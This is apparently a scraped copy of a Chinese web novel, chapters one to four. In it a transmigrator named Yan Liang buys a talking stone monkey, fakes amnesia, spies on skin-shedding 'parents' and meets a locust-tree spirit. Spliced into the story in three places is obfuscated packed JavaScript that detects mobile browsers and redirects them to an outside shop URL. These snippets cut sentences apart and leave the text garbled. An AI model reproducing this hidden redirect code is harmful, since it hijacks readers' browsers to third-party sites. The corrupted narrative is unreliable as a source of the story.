《神棍续命日常》 1. 寻仙问道(一) ‖晋·江文学城独发‖ * 春暖花开,莺飞草长。街道上人来人往,沿街叫卖者声音洪亮,此起彼伏,熙熙攘攘,好不热闹。 泛着融融绿意的柳树下围了一群人,哗然调笑声不止。 “你说这猴子能口吐人言,怎么这么久都不见它喊人?倒只瞧见它对人龇牙咧嘴了。” 中间手拿鞭子的红脸汉子额上冒汗,在他身侧,一个有他半身高的猴子正凶神恶煞地朝围观众人哈气,身上披着块破布,毛发凝结,脏兮兮的,十分可怜。 红脸汉子抬手抽了过去,猴子叽叽痛叫一声,扑向汉子,却被脖颈上戴着的链子扯了回去,在地上狼狈地翻滚一圈,本就打结斑驳的皮毛染上尘土,更显狼狈。 人群中传来数声评价。 “这猴子哪里通人言了?还真当你带来了个妖精呢。” “这猴子除了个头大些,也无甚稀奇的,你也真好意思叫价一百两。” 有数人面露不忍,转身离开,红脸汉子则很是不甘地道:“我当真听见它口吐人言了!它朝一小孩问哪里能寻到仙人呢!” “这猴子还想成仙不成?你别是在说笑话。” 红脸汉子抬手又要抽猴子,想逼它开口。人群中挤出来一个面色苍白、额上有汗的年轻人。 “等一下!” 他气喘吁吁地喊停。 红脸汉子恼怒地看向他,一旁的观众却认出他,不自觉地让开了路。 “公子——公子——!” 又有一个随从打扮的人从空隙中挤了出来,神色焦急。 红脸汉子见状立刻放下鞭子,上前一步,扬起笑脸:“这位公子,你可是对这猴子感兴趣?哎呀,这猴子可是灵猴,能通人言呢!” 脖子上戴着铁链的猴子身上鞭伤累累,眼神凶恶地和年轻人对视。 年轻人看了会儿猴子,抬手道:“我买了。” “!!”红脸汉子又惊又喜,道,“一百两——” “三十两。”年轻人说。 身边众人倒吸一口凉气。 虽然这猴子确实卖不到一百两,但张口就三十两,简直是打骨折! “八、八十两!” “二十五两。” “——七十两!” “十两。” 生怕自己再说下去连十两都拿不到,红脸汉子火急火燎地应了下来:“好!十两就十两!” 毕竟这猴子是空手套来的,毫无成本。红脸汉子自己也怀疑这猴子口吐人言的画面是自己求财心切,混淆梦与现实,并不奢望拿到一百两,可一想到自己与最初的三十两失之交臂,心里便悔得直滴血。 红脸汉子将猴子赶回笼子,年轻人与他的随从带路,三人一猴径直离开,等他们走远,柳树下的众才交头接耳小声讨论起来。 “那个年轻人是不是晏家的二公子?” “是了,就是他。” “他不是……快死了吗?” “你不知道?说是晏二被狐仙救活了呢。” “什么狐仙,怎么我听说是被狐狸精缠上,去祖坟前拜了才活过来的?” …… 晏家的二公子从病后醒来之后便很爱清静,随从不敢打扰,听了吩咐下去准备给猴子洗澡的热水以及食物。 院门关上,院里便只剩下笼子里的猴子和笼子外的晏二。 年轻人蹲下,隔着笼子和猴子对视,小猴子朝他龇牙,满是戒备。晏公子露齿一笑,一双眼睛如春水般漾开柔柔笑意。 小猴子微愣,伪装出的威慑神情僵在脸上,他防备且谨慎地望着面色苍白的虚弱公子。 晏公子笑着说:“等我抽空放你回山里,安心吧。” 他的声音很轻快,令猴不自觉地平息了心中的怒火和慌张。 随后,晏公子手腕一转,一颗饱满圆润的红桃出现在他手中。 “啊。” 猴子叫出了声,瞪着圆溜溜的眼睛惊讶地看着那颗红桃,又看看晏公子,仿佛很疑惑为什么这桃子会突然出现。 “惊不惊喜?给你。” 晏公子笑眼弯弯地将桃子从笼缝中塞了进去。 猴子小心翼翼地捧着桃子,上下左右看来看去,抓耳挠腮,似乎十分纳闷。 晏公子好奇地看着他。猴子抬头,和晏公子对视。 “我叫晏良。”他说,“吃吧,不够还有,但要注意避着人吃。” 晏良的笑容有些狡黠:“毕竟我的秘密可不能让别人知道。” 小猴子瞪大眼睛,片刻之后,低头咬了一口桃。 鲜甜多汁,有滋有味。 好吃的桃。 · 侍从搬来热水后想留下,晏良叫他离开,原主病痛缠身,饱受煎熬,家中人对他十分放任,晏良一板脸,一句话没说,对方便一脸紧张地退下了。 于是晏良再次和小猴子独处。晏良转过脸,对呆呆看着他的小猴子笑了一下。 “吓到你了?抱歉啦。” 晏良是异界来客,并不是原本的晏二公子。与系统签了合同,免票异世游的同时完成不定时发布的任务,借死去之人的身体度过一段短暂的人生。 系统以人类的情绪为食,不知道遇到了什么处于即将饿死的状态,正好遇见撒手人寰不到一秒钟的晏良,一拍即合后他们签下一张对甲乙双方都十分公平宽容的合同。 所谓的不定时任务是指有利于与人产生交集,做一件好事,查一个案子……获取任务的积分归晏良所有,与人产生交集是获得的情绪归系统所有。 在友好合作一两个世界之后,系统开始睡觉,只留下耗费极少能量的辅助程序发布任务——那些任务的重要性在于能够提供从商城进行购买的积分,而不是去收获人类的情绪。 毕竟晏良并不讨厌与人互动,能够顺利收获系统的食物几乎是必然的。 七天前,晏良在这个世界的城外乱葬岗醒来,浑身是伤,血衣斑驳。 他一度以为原主是个乞丐,但当读取原主的记忆之后,晏良发现原主的家人好像健康地活在这个世上。 之所以用“好像”这个词语,是因为原主的记忆很模糊,杂乱的画面里是铺天盖地的迷烟,被掳走时的悬空感与随之而来的惊惧……零碎纷乱,晏良无法从记忆中获取任何有效信息。 外界传言,晏公子是被狐妖看中掳走的。但晏良的记忆里连根狐狸毛都没有。 晏良有为原主查出真相复仇的责任,但就目前为止,晏良只有些许收获,仍处于查探的阶段。 从降临到现在,系统一直在呼呼大睡。晏良早已习惯独自一人面对陌生的世界,所以并不觉得不安。 他现在凝视着木桶里玩水的猴子,陷入沉思。 这猴子会是他知道的那个猴子吗? 此界有四大洲,东胜神洲、西牛贺洲、南赡部洲和北俱芦洲。 晏良所处的位置乃南赡部洲,四周风土人情是他所熟知的中原一带。 “叽!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591781|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 猴子往晏良脸上泼了一捧水,歪着脑袋好奇又谨慎地观察晏良的反应。 似乎在试探他一样。 晏良伸手擦擦脸,并不生气,蹲在地上撑着脸颊和小猴子对视,说:“是要我帮你洗,还是你自己洗?” “叽叽!” 小猴子发出意义不明的叫声。 “算了……还是我来帮你吧。” 晏良说做就做,干脆地伸手摁住小猴子,替他清洗整理起来。 从吃了晏良的桃子后,小猴子对晏良的态度有了明显的转变,晏良替他洗澡,小猴子在短暂的僵硬后配合地放松了身体,到了后来甚至有几分享受,湿哒哒的尾巴缠上晏良的手臂,又松开,晃来晃去。 晏良时不时地会和小猴子对上视线。 起初,小猴子会受惊般地转移目光,若无其事的模样很可爱,后来也许是察觉到晏良是个好脾气的人,便十分大胆的直勾勾地盯着他。 “看什么看。” 晏良顺手给了猴一个脑瓜崩。 小猴子歪歪头。 晏良也歪歪头,和他对视片刻,笑了起来。 小猴子就这么在晏良身边留了下来。他一直在明目张胆地观察晏良,时不时地从晏良身边晃过,或者墙头树枝各种地方乱窜,完全静不下来,十分符合猴子的定义。 傍晚时分,原主的兄长造访了晏良的小院。 那时小猴子正在院中的白杨树上荡秋千,晏良在树下看他,原主的兄长推门而入。 原主和晏良同姓不同名,名为晏世安,兄长名叫晏世平。 晏世平对弟弟很是关心,关切地问了他的身体情况,晏良微微笑着回应,晏世平却似乎并没有就此安心,眉宇间依旧含着一丝忧虑。 小猴子蹲在树上打量晏世平,又转头看看晏良,不知想了什么,来回左右看,脑袋扭得像陀螺。晏良便朝他眨眨眼,眼中笑意明朗。 晏世平顺着他的目光看去,顿了顿,道:“世安,你想养它吗?” 晏良摇摇头:“等他养好伤我就放他走。” 树枝上的小猴子眨眨眼。 晏世平道:“你若是想养,我替你寻个驯猴师傅来,这猴子凶神恶煞,野性难驯……要不要拿条绳子来将它套住?” 小猴子龇了龇牙。 晏世平见此直皱眉。 晏良还是摇头:“多谢大哥的好意,但不用了,我和他很处得来。” 晏世平叹道:“好……世安,你还是没想起来吗?” 晏良深沉道:“……没有。对不起,大哥。” 晏世平连忙道:“不必道歉,不是你的错,世安,你保重身体就是,就算想不起来也无妨。” 晏良面上流露出伤心沉痛煎熬的神色。 每次他一露出这种表情,晏世平便没话可讲了,这次也是安慰晏良几句后便找了个借口匆匆离开。 晏良望着他离开的背影,面上的复杂表情渐渐消失。 原主的记忆太模糊,还存在疑点,晏良在无法获得有效信息的情况下给自己安了个失忆的设定。 一着陆就要和人演,实在太让人心累。 晏良叹了口气,随后抬头,正对上眼睛圆溜溜的小猴子。 “下来吧,再给你桃子吃。”晏良举手,手里是一颗红彤彤的大桃子。 小猴子叫了一声,一跃而下,扑向晏良,扒在他肩头伸手抓过桃子。 晏良:“你有点重啊……” 小猴子:“叽!” 2. 寻仙问道(二) ‖晋。江文学城独发‖ * 晏良曾经去过的世界里,妖怪神仙存在于故事之中,即使是那些过分真实的志怪异闻,究其原因也能用科学道理进行解释。 但这个世界有所不同。 不提指向意义十分明显的四大洲,单是晏良收集到的志怪异闻究根溯源,都不能用他所知的科学知识解释。 原主的经历暂且不说,离晏良最近的与妖怪有关的故事是晏家出门隔两道街,街边馄饨的钟大爷说自己二十年前时曾经见过一只用后肢直立行走的白狐,那白狐口吐人言,在清晨的冷雾中彬彬有礼地向他问早。 ……现在听来也是一个很没头没脑的故事。 而因为原主的经历,所有人都觉得掳走原主的就是钟大爷二十年前见到的白狐。 晏良缓缓睁开双眼。 面前是一只凑得很近的猴脸,猝不及防地与晏良对上视线,小猴子眼珠子滴溜溜地转,却没后退,而是大胆地继续和晏良眼对眼。 晏良没有起身,撑着脸颊歪头问他:“你就这么喜欢我吗?” 小猴子一怔,叫了一声:“叽!” 晏良:“嘿嘿。” 小猴子见他笑了,又羞又恼地扑上来扒晏良的衣裳,左翻右找,锲而不舍。 “别找了,找不到的。”晏良摁住他,语气很得意。 小猴子:“叽叽叽!” 一人一猴闹了一阵,晏良将双手背在身后,叫小猴子猜桃子在左还是在右。 小猴子思考一阵,伸手指右。 “恭喜,猜对了。” 晏良笑眯眯地把桃子递给他。 猴子看他的眼神仿佛是在看着什么稀奇古怪的存在。 * 原主本就体弱,还受了重伤,前几天晏良一直在重修心法,因为对晏家的情况总让他觉得违和,晏良一直私下服用系统空间存放的药丸调理伤口。 这两日身体渐渐好转,晏良想了想,没有拿出自己的武器,而是从地上捡了根手臂长短的树枝,运转心法,叫身体熟悉棍法。 每招每式晏良都熟记于心,起先稍有生涩,不过片刻后便十分流畅,动作轻快。 他之前经过的世界都是武侠世界,有内功心法之说,但他所习的功法并非其中任何一个世界的产物,而是用积分从系统商城中置换的最适合他的功法。 功法名为《回春诀》,武器是一根漆黑的、可伸缩的棍棒,灵感来源于某个家喻户晓的猴子。 晏良曾经也是一个体弱多病的人,成年后几乎是躺在病床上等死,他从小就仰慕一只名叫孙悟空的猴子,所以挑选武器时选择了棍棒作为武器,取名叫做“神棍”。 每到一个世界,晏良都需要从头开始修习,但功法选得好,从头也不愁。有过数次入门到精通的体验之后,从头再来也轻而易举。 小猴子在此期间默默地啃桃子,并一直大大方方地盯着晏良,丝毫不闪躲。 晏良偶尔望过去时总能和他对上视线,看到他亮晶晶的眼睛,灵气逼人。 天色渐晚,晏世平再次登门。 这次的晏世平欲言又止,不再试探观察,直接了当地询问晏良对之前的经历有多少印象。 晏良从见到与原主有关的人后一直在假装失忆,一提到之前的经历便一问三不知。 如今晏世平这么问他,他便露出一副为难的表情,伸手捂着脑袋,道:“我,我还是什么都想不起来。我只记得有很多血……对了,大哥,我做梦总会梦到从高处重重摔下,梦里还有奇怪的笑声……” 晏世平的表情十分凝重,问道:“那笑声是男是女?” 晏良摇头道:“听不出男女,很刺耳。” 晏世平沉默下来,神色中透露几分凝重。 晏良道:“大哥,我能去那个地方看看吗?也许看一看就想起来什么——” “不能去。”晏世平眉头紧皱,十分干脆地说道。 晏良失落道:“不可以吗?可我连曾经和爹娘,和大哥你在一起的记忆都想不起来……爹娘一直不来见我,也是觉得我不是他们熟悉的孩子了吧。唉。” 晏世平的眼角微微抽动,轻声道:“没有这回事,爹娘因为你失踪的事担惊受怕了一阵,你浑身是血回来的那天便病倒了,不准你见他们也是因为不想你过了病气。你不要乱想,反倒辜负了爹娘的好意。” 晏良低着头,沮丧不已。 晏世平看着弟弟的头顶,闭了闭眼,面上有一瞬流露出不耐烦的神色。 小猴子蹲在树上眨眼睛。 晏世平依旧没有久留,他对原主这个弟弟的态度很微妙,时而放任时而管束,准许晏良出门买猴,却不准他出城去那个乱葬岗。 晏家整体的氛围也相当奇怪,从未露过面的爹娘,只在傍晚出现在他面前的兄长,晏良很难不多想。 月上中天,夜风柔和。晏良若无其事地爬墙头,一旁小猴子目不转睛地盯着他。 晏良在唇前竖起食指,朝他微微一笑,随后一跃而下。 在墙头猴子的注视下,晏良深吸一口气,压下咳嗽的欲望。 原主的身体不好,死前受了重伤,晏良再怎么调理,也不可能一下子活蹦乱跳。 猴子也跳下墙,跟着晏良一起爬树躲人,一人一猴偷偷摸摸,鬼鬼祟祟。 猴子眼睛发亮。 晏良看小猴子身姿灵巧,悄无声息,不由得多看一眼,正好看到小猴子咧嘴笑的模样。 嗯……果然就是他想的那只猴子吧。 晏良在之前几日的闲逛中已经摸清了宅院内的种种布置,所以目的明确,直奔不曾去过的原主父母所住的院落。 说来奇怪,晏良现在所住的房间没有一点原主的痕迹,而原主的记忆相当模糊,晏良甚至没有一点熟悉感,他与原主父母的住处也相隔很远,简直就像被特意隔开似的。 因为身体健康状况堪忧,晏良路上停了一次,顺带整理思绪。 月光之下,这栋宅院毫无人气,被死一般的寂静淹没。 这个时候,小猴子蹲坐在一旁目不转睛地盯着他,眼神中隐隐有催促之意。 他甚至比晏良这个当事人还要迫不及待。 晏良觉得很有趣,笑着伸手弹猴脑壳,猴子瞪他,晏良若无其事地收回手,转身继续前往目的地。 · 在某个一无所有、开局是乞丐的世界里,才出新手村的晏良在仔细考虑之后用积分购换了新的技能——《问天卦灵术》,其内容之丰富,涵括堪舆卜卦、占星看相,以天象五行讲命理风水,甚至能与天相通,即使已经走遍数个世界,晏良远没有到吃透的程度。 算命卜卦在古代背景的世界很有市场,“神棍”之名有褒有贬,但晏良靠着这手本事经历了数个世界,经验丰富。 不同世界的“天道”性格不同,偶尔问天无解,必定卜卦有灵。只是不知道为什么,这个世界问天无解,卜卦也无解,迷雾漫漫,什么都看不清。 系统商城中原本可购买的高科技物品在这个世界也全部变成灰色,甚至连过去购买过的道具都无法使用。 系统是个热爱睡觉的撒手掌柜,晏良是个被放养的睁眼瞎,瞎琢磨之后觉得可能是唯物主义和唯心主义世界观中天道的等级有所不同,系统没有提前告诉他会来到存在神仙妖魔的世界,可能连它自己都不知情。 晏良对《问天卦灵术》并不算精通,所以也有另一种可能,天道不想搭理他。 不排除这个世界的天道也爱睡觉,没空搭理晏良这个异界来客。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591782|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然有许多和以前不一样的地方,但晏良觉得,只要还有命,其他的问题都不是事。 眼下最大的问题是,原主的父母好像不是人。 窗扇上映着微微晃动的两道黑影,一个影子似是从脸上揭下面皮,另一个影子向下躬身,紧接着,从背上钻出另一道人影。 晏良:…… 一来就看见这幅画面,晏良受到的精神创伤难以言喻。 小猴子捂住嘴,扭头看向晏良,晏良朝他眨眨眼,继续藏身阴影之中,盯着窗扇上的影子。 那两个影子一个脱下人皮,一个摘下脸皮,随后前者翩翩起舞,舞姿翩跹,后者在一旁时不时鼓掌赞赏,屋内没有发出任何动静,但柔和而干脆的舞姿、和那时而激烈时而放轻的鼓掌动作,莫名让晏良觉得屋中此时应是鼓乐吹笙、称赞声不绝于耳,一派和谐。 晏良想看看“它们”究竟在捣什么鬼,默默看了半晌,还是该跳的跳,该鼓掌的鼓掌,仿佛永远不知疲倦。 不是,你们究竟在搞什么鬼? 晏良免费看了一场不会结束的皮影戏,他的耐心还没耗尽,一旁的猴子却没了耐心,见晏良迟迟没动静,猴急地从树丛的阴影中跳了出去,同时顺手朝窗扇丢出一枚石子。 “咚。” 石子砸中窗扇,落地后咕噜噜滚了一段距离,窗上映出的影子有一瞬的凝滞,旋即套脸皮的套脸皮,穿人皮的穿人皮。 晏良一把抱过猴子飞快地向来时方向返回,余光中那两道影子到了穿衣裳系带子的步骤,动作慢得难以理喻。 为什么……显得笨笨的? 晏良不由得默然。 回到房间后,晏良飞快地处理有可能证明他夜晚出门的痕迹,小猴子在一旁目不转睛地看着他的一举一动,等晏良钻进被褥,平复呼吸,小猴子也跳上床,在床边盯着他。 晏良在唇前竖起食指,眼中流露出一丝狡黠的笑意,朝小猴子眨眨眼。 小猴子歪歪脑袋,若有所思。 躺床上不到半刻钟,房间外响起来一阵细碎的古怪动静。 有人推开院门,缓步走过石径,伴随着那些奇怪的声响在房门外停下。 门栓脱落时发出一声轻响,来人跨过门槛,缓缓走至床前,面无表情地注视床上沉睡中的年轻人,以及旁边那只直勾勾地盯着他瞧得猴子。 猴子认得他,是晏良喊大哥的人,也是会有嫌弃厌恶的眼神睨他的讨厌家伙。 晏世平看到猴子坐在床边,再次厌恶地皱起眉头,随后将视线移向床上同样皱着眉头,面色苍白的年轻人。 晏良的演技是曾经骗过许多人、得到伙伴们认可的,来时的留下的痕迹都被消除,从表面来看,晏良一直沉睡。 晏世平看不出不对,表情莫测,旋即猛地俯身,想与晏良面对面来一记带有试探性的威吓,但小猴子先一步出手,一爪子糊他脑瓜子上。 “啪。”声音很响亮。 “……” 晏世平的表情看起来想杀猴。 猴子朝他龇牙。 威吓不成反被威吓,晏世平神情阴郁,还没等他对猴子出手,床上的晏良发出几声无意义的呓语,被子下的双手乱挥,大叫着“不要过来!”,从床上坐起。 双手挥了个空。 床边空无一物,房门已然合拢,就连门栓都已回归原位,只有猴子和晏良面对面。 猴子若有所思地瞅着晏良,晏良伸手擦了擦额头的汗,手臂挡在额前时,他又朝小猴子眨眨眼。 怎么样?是很厉害的演技吧?晏良的笑容很是狡黠。 小猴子跳下床,在屋中走了一圈,又开门朝外看,片刻后关上门后蹦到床边榻上,仰头看晏良: “你为什么要装睡?” 3. 寻仙问道(三) ‖晋。江文学城独发‖ * “你为什么要装睡?” 声音有点稚嫩,满是不解。 晏良微愣。 尽管早有预料,但他眼前的这只猴子真的在说话。 他理着肩头乱糟糟的头发,思考了一会儿,问:“你为什么之前不说话?” 猴子伸手挠头,很是苦恼的样子。 “因为我不想再被抓起来了。” “那么我和你的理由一样。” 晏良温和地说。他坐了一会儿便头晕眼花,隐隐还有点耳鸣,干脆躺了下来。猴子攀上床,蹲在床边俯视他。 “可是,你不是仙人吗?”猴子若有所思地说,“你有那么多好吃的桃子,能凭空取物,能在空中飞……但你也病恹恹的,好奇怪。” 晏良一愣,意识到小猴子将轻功误认成飞……似乎也没太大差别?但将他当作神仙实在是个天大的误会。 他嘿嘿一笑:“我可不是什么仙人,真正的仙人才不会像我这样狼狈。至于你说凭空变出来的桃子……这是我的秘密,不能告诉你。” 猴子抓耳挠腮:“为什么?因为你是仙人吗?” 他纠结于晏良究竟是不是个神仙的问题,凡人不可能像晏良一样神奇,仙人又不可能像晏良一样狼狈,猴子怎么想都想不通。 晏良很想侧身撑着脑壳和石猴来场彻夜长谈,但耳鸣声愈来愈响,眼皮直打架,于是他说:“小猴子,明天再聊,我困了。你也一起休息吧,养好精神,明天去城外…………” 话没说完,晏良已经彻底失去意识,比起入睡,更像是昏迷。 为求长生远渡大海而来的石猴挠了挠脸,盯着床上的人左看右看,还是满脸不解。 作为自补天石孕育而出的灵猴,猴子生而知之,他跟在晏良身边看了两日,能够看出这人周边的人和事都一团乱,晏良本人也是个十分奇怪的人。 晏良会对他笑,会对他眨眼,会给他桃子,那些小小的互动让石猴感到一种奇妙的温暖。 石猴伸手轻拍晏良的脸,沉睡的年轻人毫无反应,眉宇间透露出疲惫,于是石猴给晏良掖了掖被角,在床边找到了最舒适的位置,贴着身边的人闭上眼睛,跟着陷入沉眠。 第二天,晏良是被脸上不断扫过的毛茸茸的触感痒醒的。 石猴像昨晚一样蹲在床边盯着他瞧,长长的尾巴在他脸上扫来扫去。 “你醒啦。”石猴说,“你睡了好久。今天我们要去做什么?” 之前每天早晨晏良总会头重脚轻,但因为重拾《回春诀》的原因,一夜好眠过后晏良精神满满,相信再过不久,就能重回巅峰。 在那之前,最重要的事是找出原主死亡的真相。 晏良回答了小猴子的疑问:“去城外乱葬岗。” 晏世平白天是不会出现在晏良面前的,据说是在外去各个铺子查账处理生意上的事。 在父母得病不起的情况下晏世平作为长子确实该担起这个责任,但昨夜在窗扇上映出的影子、以及之后深夜到来的晏世平让这件事显得并没有那么简单。 即使白天去原主父母的居处也不会得到任何有效信息,所以晏良决定去城外乱葬岗。 他前几天出门时必定有侍从跟随在侧,是照顾,也是监视。 晏世平不许他去太远的地方,所以晏良说要出城,侍从都露出为难的神色。 晏良板着脸道:“大哥忙碌,爹娘染病,我还什么都不记得,这也许和那什么狐妖脱不开关系,我若是什么都不做岂不是像个废物一样?别拦我!” 他如此说罢,带着猴子大摇大摆地出门,明明一副弱不经风的模样,脚步却比谁都快,一眨眼就不见人影。 晏家的仆人们面面相觑。 晏良就算之后回来也有办法搪塞晏世平的试探与质问,脱离那些视线之后,他脚步轻快,和石猴走在角落,向他说明自己之后的打算。 “我醒来的地方是乱葬岗,虽然不知道究竟经历了什么,但那里说不定有线索。” 晏良知道石猴早从他与其余人对话中收集了许多消息,所以没有进行多余的解释。 石猴的尾巴缠上晏良的手腕,道:“我们要走着去吗?你不可以像昨天那样抱着我飞吗?” 晏良苦恼道:“我也想那样,但为了掩人耳目,还是小心一点为好。” 他转头去就出钱请出城的人顺路载他和小猴子出城。 因为有钱,并且顺路,没有任何阻碍,晏良就和小猴子坐在牛板车上被拉出城。 石猴穿着晏良剪裁过的衣裳,路上吸引了一大众人的视线,路上甚至还碰到了当初拴着石猴要卖他的红脸汉子。 那汉子表情惊异,显然十分吃惊于在他手下凶神恶煞的猴子在晏良身边竟然是一副服服帖帖的样子。 “哼!” 石猴不高兴地哼了一声,忽然跳下板车,钻入小巷,不久后板车方才经过的地方响起一声痛骂,听声音正是红脸汉子的声音。 晏良的嘴角微微扬起。 石猴很快便回来了,跳上板车,因为出了一口气而心情愉快,一抬头,他便发现晏良看着他,笑眼弯弯。 出于之前说话被逮的经历,石猴并没有当着其余人的面开口,而是等他们被放到路边,四周没有人的视线后才询问晏良在笑什么。 晏良眨了眨眼:“因为你高兴,所以我也很高兴。” 石猴眨巴眼,伸手挠脸。 与晏良的相处过程中总能让猴感受到新鲜的奇妙滋味。 他想了想,说道:“我用石头砸了他的脑袋。” 晏良说:“你就算用鞭子抽他,也合情合理。” 石猴笑了起来,长长的猴尾巴在晏良的手腕上缠了一圈,又松开,飘飘然地在身后晃悠。 虽然没能遇到仙人,但遇到晏良这样的人,也不算太让猴失望。 * 晏家二公子被狐妖掳走的消息在城中传得沸沸扬扬,似乎是因为原主失踪那日晏家上空青烟阵阵,四周街道飞少走石,分明是有妖怪作祟。 再结合卖馄饨的钟大爷多年前说曾见过白狐的异闻,所有人都觉得作祟掳走晏世安的是狐妖。 认得晏良这张脸的人不少,他着陆时出了乱葬岗没多久便被晏世平和其带来的人找到,将他浑身是血、狼狈不堪的样子看了个正着。 传闻中去拜祖坟的只有晏世平,被接回去的第一天晏良被以身体虚弱的理由困在家中,不准出门。 从见到晏世平的第一面,晏良就决定谨慎一点,在晏世平面前当个失忆的倒霉蛋。 而晏世平大部分时候看晏良的眼神就像在看一个无关紧要的人物,眼里的关心如同水面上的油污,十分明显,但让人不快。 春风十里,绿意盎然。乱葬岗却像处在另一处天地,阴风阵阵,怪臭扑鼻。 这个世界存在妖魔鬼怪,晏良昨夜虽然见过一次,但那时更多是想要知道真相的求知欲占上风。此时想着不知何处可能有鬼魂注目,晏良便忍不住琢磨起一个问题来——他作为异世之人,之后会不会被地府的人找上门? 系统睡得很死,与天道无法沟通,晏良头一次有点搞不懂自己这次的身份定位是否合法合规。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14591783|155916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这么想着,晏良又一次试图与天道沟通。 嘀嘀嘀。 天道不回话。 晏良:算了。 今朝有酒今朝醉,明日愁来明日愁。晏良抛开那些不确定的疑问循着记忆去往他着陆时苏醒的地方——位于乱葬岗深处,被树木丛林包围的深坑,往里是更深的树林,幽森阴暗,枝影摇曳,如同妖怪的爪牙。 石猴跳上高树,歪着脑袋看晏良的动作。 “你在做什么?” “我在做法。” 晏良握着小木棍在地面划阵,一笔一划,十分用心。 《问天卦灵术》入门后便可以不借助道具,以心算卦,但道具阵法依旧有用,如今晏良决定尝试最基础的办法。 实在不行的话再苟一段时间,干脆地去莽得了。 晏良的耐心属于薛定谔的耐心,如此奇妙的世界展现在他的眼前,完全不想和一肚子坏水的晏世平拉拉扯扯。 春日的阳光柔和而温暖,林中绿意如水,但仍有着沁入骨髓的凉意,挥之不去。 石猴看了好一会儿,还是忍不住凑了过去,问道:“这是阵法,你还说你不是神仙?” “哎,我真不是神仙,神仙只需掐指挥袖就能解决所有困难,可不会向我一样蹲在地上画阵法。”晏良说,“我顶多算个神棍。” 石猴正要开口,晏良放下小木棍,从袖中拿出一把小刀,干脆地割破了手腕。 “这是在做什么?” 石猴呆住。 鲜血滴落在阵法中心,并未渗入泥土之中,反而像是被阵法吸收似的,阵法的纹路绽放出金色的光芒。 晏良说:“找一个真相。” 他注意到石猴的视线,有点意外,问道:“小猴子,你看得见那些光?” 石猴茫然看他:“当然看得见,像烟一样,那是怎么回事?” 晏良恍然大悟,是因为世界法则不同的原因吗?他之前去过的世界没有人看得到与《问天卦灵术》有关的元素,阵法在他们眼里只是普通的图案。 看来在这个世界里要观察学习的事情有很多啊。晏良心想。 阵法绽放的光芒化作金色的细烟向空中飘去,晏良给手上的伤口缠上绷带,一边给石猴解释:“你能看到就好办了,跟着这条细烟走就能找到和我之前…受伤有关的家伙。” “是狐狸精?”石猴莫名地兴奋起来,“我帮你教训他!” “不……不一定是只狐狸精,也不对……” 晏良有点纠结,原主的致死原因可不是被吸了精气,而是因为身上的各处伤口,那些伤势不是狐狸爪子能造出的伤口。 石猴看了看晏良的脸色,一脸苍白,额上冒汗,和他们初遇那天一模一样。 “我会出手的,你不要轻举妄动。” 面对猴哥如此语重心长的叮嘱,晏良很是感动:“好,谢谢你。” 一人一猴雄赳赳气昂昂地跟着金烟,一路上春风和暖,鸟语花香,绿波如海,不知走了多久,在一棵大槐树下停下脚步。 槐树之大,三个人伸手合不下,壮如巨伞,郁郁葱葱,槐花如米。一丈远处有一座高台,上置有香炉,炉中有三根残香细木棍。 晏良的表情有点微妙。 石猴已经猴急地跳上了树,扒拉晃荡着枝干,青色的叶子飘荡旋转而下,未盛开的槐花洋洋洒洒如雨滴般坠落。几乎是同时,一道满是郁怒之气的声音响起。 “哪个小兔崽子打搅我睡觉的?!” 石猴受惊,但一点也不怕,伸手拍打着身下的树干,大声道:“你问是谁?是你猴爷爷我!” 4. 寻仙问道(四) ‖晋。江文学城独发‖ * 大槐树剧烈地晃动枝桠,树枝上的猴子紧紧攀着树干,不肯松手。 槐花纷纷扬扬地洒下,晏良瞅一树一猴玩得很开心,于是自己绕着树走了一圈,又踮脚看高台上的香炉,伸手拨拨里面的香灰,捻了捻,收回手。 这三炷香是很久以前点燃的香了,晏良认真端详着它们,若有所思。 大槐树虽然和猴哥打打闹闹,但没有忽略晏良的举动,在晏良撑着高台要爬上去时一条枝桠抽了过去,而晏良就地一滚,单膝跪地,视线飞快扫过高台上的刻纹,记在心里,随后仰头望向头顶郁郁葱葱的大树。 大槐树的声音很冷:“黄口小儿,趁我动怒之前赶紧下来!” 晏良道:“我可以帮你把它打扫干净。” “……”大槐树有点卡壳,但很快说道,“不用你多管闲事,赶紧下来!” 它又不是不能打扫,只是不想打扫而已!这人类看起来其貌不扬,怎么一点都不怕它? 晏良跳下高台。石猴却顺着树枝爬到高台上方,轻轻一跳,稳稳当当地落在高台上。 “……下去!” 大槐树伸枝拍打,石猴笑着蹦下高台,微微昂头,得意大笑的模样令人无法移开视线。 片刻之后,大槐树终于收起了枝条,它在此间呆了两百年,独守清静,最近却总是被打扰。 一条柔软的树枝从晏良头上拂过,大槐树道:“无礼的小子,我认得你身上的气息,你是怎么进来的?” 